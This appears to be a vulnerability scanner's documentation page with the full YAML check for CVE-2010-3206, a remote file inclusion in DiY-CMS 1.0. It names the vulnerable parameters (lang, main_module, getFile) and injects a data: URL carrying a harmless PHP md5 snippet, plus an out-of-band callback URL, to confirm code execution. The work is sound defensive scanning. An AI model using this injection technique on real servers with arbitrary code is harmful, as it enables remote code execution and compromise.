DiY-CMS — 1 vulnerability check

noctis ships 1 vulnerability check for DiY-CMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

DiY-CMS 1.0 Multiple Remote File Inclusions

CVECVE-2010-3206
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/diy-cms/CVE-2010-3206.yaml

Tests DiY-CMS 1.0 for the unauthenticated file inclusions in modules/guestbook/blocks/control.block.php (lang parameter), index.php (main_module) and includes/general.functions.php (getFile), which pass the parameter to include() unchecked. For each of these pages, under the usual install folders, the feed sets the parameter to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, the parameter is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include error for a path starting with a random value shows that the value reaches include() unchecked. As a last resort, a home page with the default DiY-CMS title that reports version 1.0 gives a lower-confidence version finding. The snippet only prints a hash and writes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{page}}{{probe.data}}
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: DiY-CMS 1.0 Remote File Inclusion (CVE-2010-3206)
  5. HTTP(S) request GET {{page}}{{probe.marker}}
  6. Parses / computes the next value with a Rhai script
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{page}}{{oob_url}}%3F
  10. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: DiY-CMS 1.0 Remote File Inclusion (CVE-2010-3206)
  11. Checks warn_proof for ^noctis[0-9a-zA-Z]+$ → finding QoD 75: DiY-CMS 1.0 File Inclusion (CVE-2010-3206)
  12. HTTP(S) request GET {{dir}}/index.php
  13. Parses / computes the next value with a Rhai script
  14. Checks home_ver for ^1\.0 → finding QoD 70: DiY-CMS 1.0 installed — multiple remote file inclusions (CVE-2010-3206)

References:

Feed source — tests/vulnerabilities/diy-cms/CVE-2010-3206.yaml
# DiY-CMS 1.0 multiple remote file inclusions — CVE-2010-3206
#
# DiY-CMS (Do It Yourself CMS, PHP, by Abdul Al-Hasany, diy-cms.com) 1.0 relies
# on register_globals. Per the advisory (exploit-db 14822, OSVDB 67801-67803),
# three request parameters reach include() unchecked when the file is requested
# directly:
#
#   modules/guestbook/blocks/control.block.php?lang=<x>
#   index.php?main_module=<x>
#   includes/general.functions.php?getFile=<x>
#
# The 1.0 release is gone (diy-cms.com and the softpedia mirror are dead); the
# later 1.1 code (github.com/abdul-alhasany/diycms) refuses direct block access
# (TURN_BLOCK_ON), reads main_module from its settings and keeps getFile local
# to a function, so the exact 1.0 include lines are unknown. The probes below
# therefore only assume that the value starts the included path; a suffix
# added by the code does not matter. Should 1.0 have used 1.1's path prefixes
# ("modules/" . $x . "/…"), the sinks would not be remote inclusions at all and
# only the version branch fires on such an install.
#
# Detection, per install folder (/diycms/diy — the usual layout —, the web root,
# /diycms) and per sink:
#   1. In-band code execution (QoD 97): the parameter is a data: URL holding
#      <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
#      URLs the code runs and the reply carries md5 of the product, a value the
#      request never contains (any suffix lands after exit). If the wrapper is
#      refused, PHP's warning quotes the code text, not the md5. No quotes in
#      the code (magic_quotes_gpc-safe); it writes nothing.
#   2. OOB (QoD 97, only when OOB is enabled): the parameter is the noctis
#      callback URL followed by "%3F", so a suffix lands in the query string; a
#      fetch of it is the remote inclusion. Also covers hidden PHP errors.
#   3. Fallback (QoD 75): the parameter is a random name; the reply must carry
#      PHP's include()/require()/main() "failed to open stream" warning or
#      "Failed opening '<random>…' for inclusion" with the included path
#      starting with that value. A page that merely echoes the query string
#      does not match.
#   4. Fallback (QoD 70): none of the above, but a home page with the default
#      DiY-CMS title reports version 1.0 — the check of the reference plugin.
#
# Better than the reference check (a pure version compare on the home page):
# the inclusion itself is exercised on all three advisory sinks, so a renamed
# or unversioned install is still found and the version only remains as the
# last-resort branch.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_diy_cms_mult_rfi_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801512, GPL-2.0-only).
uid: 03058598-356e-4987-b122-b4ab234b3cb8
name: "DiY-CMS 1.0 Multiple Remote File Inclusions (CVE-2010-3206)"
description: |
  Tests DiY-CMS 1.0 for the unauthenticated file inclusions in
  modules/guestbook/blocks/control.block.php (lang parameter), index.php
  (main_module) and includes/general.functions.php (getFile), which pass the
  parameter to include() unchecked. For each of these pages, under the usual
  install folders, the feed sets the parameter to a data: URL carrying a small
  PHP snippet that prints the md5 of the product of two random numbers; that
  md5 in the reply confirms that the server ran code supplied in the request.
  When OOB is enabled, the parameter is also set to the scanner's callback URL,
  and a fetch of that URL confirms the remote inclusion even when PHP output
  and errors are hidden. Otherwise, a PHP include error for a path starting
  with a random value shows that the value reaches include() unchecked. As a
  last resort, a home page with the default DiY-CMS title that reports version
  1.0 gives a lower-confidence version finding. The snippet only prints a hash
  and writes nothing on the server.
cves: [CVE-2010-3206]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [diy-cms, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3206"
  - "https://www.exploit-db.com/exploits/14822"
  # OpenVAS/Greenbone NASL 2010/gb_diy_cms_mult_rfi_vuln.nasl (GPL-2.0-only)

steps:
  # ── Probe values, shared by every page ───────────────────────────────────
  # md5(A*B) is printed only when the included snippet actually runs.
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      #{
        data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
        expect: md5("" + (a * b)),
        marker: "noctis" + rand_str(12)
      }
    store_as: probe

  - id: init-warn-found
    action: set_var
    var_name: warn_found
    var_value: false

  - id: init-warn-url
    action: set_var
    var_name: warn_url
    var_value: ""

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # ── Loop group: every following step up to the OOB wait runs once per
  # page + parameter. Each pass resets the values it reads.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: page
      over:
        - "/diycms/diy/modules/guestbook/blocks/control.block.php?lang="
        - "/diycms/diy/index.php?main_module="
        - "/diycms/diy/includes/general.functions.php?getFile="
        - "/modules/guestbook/blocks/control.block.php?lang="
        - "/index.php?main_module="
        - "/includes/general.functions.php?getFile="
        - "/diycms/modules/guestbook/blocks/control.block.php?lang="
        - "/diycms/index.php?main_module="
        - "/diycms/includes/general.functions.php?getFile="

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-rce-proof
    action: set_var
    var_name: rce_proof
    var_value: ""

  # ── 1. data: URL — in-band code execution ────────────────────────────────
  - id: rce-probe
    action: http_request
    method: GET
    path: "{{page}}{{probe.data}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report-rce
    action: match
    source: rce_proof
    pattern: "^[0-9a-f]{32}$"
    condition: 'rce_proof != ""'
    on_match:
      finding:
        title: "DiY-CMS 1.0 Remote File Inclusion (CVE-2010-3206)"
        description: "An unauthenticated request to a DiY-CMS page with its include parameter set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. The parameter reaches include() without any check, so an attacker can run any PHP code on the server."
        remediation: "Upgrade DiY-CMS to 1.1 or later. Until then, disable register_globals, set allow_url_include and allow_url_fopen to Off, and block direct requests to files under modules/*/blocks/ and includes/."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{page}}data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
      stop: true

  # ── 3. Random value — include() error naming it (fallback) ───────────────
  - id: warn-probe
    action: http_request
    method: GET
    path: "{{page}}{{probe.marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    # Sent whatever the code probe got (a filter may drop or 404 the "<?php"
    # request): this plain request may still get through.
    condition: "warn_found == false"
    store_as: warn_r

  # PHP 4: "main(<v>…): failed to open stream" / "main(): Failed opening '<v>…'
  # for inclusion"; PHP 5: "include(<v>…) [function.include]: failed to open
  # stream" (require: "Failed opening required '<v>…'"); PHP 8: "include(<v>…):
  # Failed to open stream". The included path must START with the value (a
  # code-added suffix may follow), next to the function name and the stream
  # error, which an echoed query string never gives.
  - id: warn-check
    action: script
    code: |
      let m = probe.marker;
      let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
      let hit = false;
      if egrep("Failed opening (required )?'" + m + "[^']*' for inclusion", b) != "" { hit = true; }
      if egrep("(include|require|include_once|require_once|main)\\(" + m + "[^()<> ]*\\)( \\[[^\\]]*\\])?: [Ff]ailed to open stream", b) != "" { hit = true; }
      hit
    condition: "warn_found == false"
    store_as: warn_hit

  - id: warn-url
    action: script
    code: "page"
    condition: "warn_found == false && warn_hit"
    store_as: warn_url

  - id: warn-proof
    action: script
    code: "probe.marker"
    condition: "warn_found == false && warn_hit"
    store_as: warn_proof

  - id: warn-found
    action: set_var
    var_name: warn_found
    var_value: true
    condition: "warn_hit"

  # ── 2. Callback URL — remote inclusion seen out of band ──────────────────
  # Sent to every page where the code probe or the plain probe did not get a
  # 404 (a filter may 404 only the "<?php" request), since a server hiding PHP
  # errors gives no in-band sign. "%3F" turns a code-added suffix into the
  # callback URL's query string.
  - id: oob-probe
    action: http_request
    method: GET
    path: "{{page}}{{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && (rce_r.status != 404 || (warn_r.status != 0 && warn_r.status != 404))"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && (rce_r.status != 404 || (warn_r.status != 0 && warn_r.status != 404))"

  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    on_success:
      finding:
        title: "DiY-CMS 1.0 Remote File Inclusion (CVE-2010-3206)"
        description: "An unauthenticated request to a DiY-CMS page with its include parameter set to the noctis callback URL made the server fetch that URL: the parameter reaches include() without any check, so an attacker can make the server fetch and run PHP code from a server they control."
        remediation: "Upgrade DiY-CMS to 1.1 or later. Until then, disable register_globals, set allow_url_include and allow_url_fopen to Off, and block direct requests to files under modules/*/blocks/ and includes/."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <page>?<lang|main_module|getFile>=<OOB URL> (remote file inclusion)"
      stop: true

  # ── Fallback finding: include() error naming the random value ────────────
  - id: report-warn
    action: match
    source: warn_proof
    pattern: "^noctis[0-9a-zA-Z]+$"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "DiY-CMS 1.0 File Inclusion (CVE-2010-3206)"
        description: "An unauthenticated request to a DiY-CMS page with its include parameter set to a random value returned a PHP include error for a path starting with that exact value: the parameter reaches include() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the included path is attacker-controlled, which at least allows reading or running local files."
        remediation: "Upgrade DiY-CMS to 1.1 or later. Until then, disable register_globals, set allow_url_include and allow_url_fopen to Off, and block direct requests to files under modules/*/blocks/ and includes/."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{warn_url}}{{warn_proof}} returned a PHP include error for a path starting with {{warn_proof}}"
      stop: true

  # ── 4. Version fallback: default home page reporting DiY-CMS 1.0 ─────────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/diycms/diy", "", "/diycms"]

  - id: home-get
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: home

  # The title is DiY-CMS's default one; "DiY-CMS <version>" must be 1.0
  # (1.0.0… counts as 1.0, 1.0.1 / 1.01 do not).
  - id: home-version
    action: script
    code: |
      let b = if type_of(home.body) == "string" && home.status == 200 { home.body } else { "" };
      let ver = "";
      if b.contains("<title>Welcome - Do It Yourself CMS - Using DiY-CMS<") {
        let v = eregmatch("DiY-CMS ([0-9][0-9.]*)", b);
        if type_of(v) == "array" && v.len() == 2 {
          let s = v[1];
          while s.ends_with(".") { s = s.sub_string(0, s.len() - 1); }
          let parts = s.split(".");
          let ok = parts.len() >= 2 && parts[0] == "1" && parts[1] == "0";
          if ok {
            for i in 2..parts.len() { if parts[i] != "0" { ok = false; } }
          }
          if ok { ver = s; }
        }
      }
      ver
    store_as: home_ver

  - id: report-version
    action: match
    source: home_ver
    pattern: "^1\\.0"
    condition: 'home_ver != ""'
    on_match:
      finding:
        title: "DiY-CMS 1.0 installed — multiple remote file inclusions (CVE-2010-3206)"
        description: "The home page of this site carries the default DiY-CMS title and reports DiY-CMS 1.0, a version whose guestbook block (lang), index.php (main_module) and includes/general.functions.php (getFile) pass a request parameter to include() unchecked. The inclusion itself could not be confirmed (register_globals may be off, or PHP errors are hidden and OOB was not enabled): this finding rests on the version only."
        remediation: "Upgrade DiY-CMS to 1.1 or later. Until then, disable register_globals, set allow_url_include and allow_url_fopen to Off, and block direct requests to files under modules/*/blocks/ and includes/."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{dir}}/index.php: default DiY-CMS title, version {{home_ver}}"
      stop: true

View these feeds on GitHub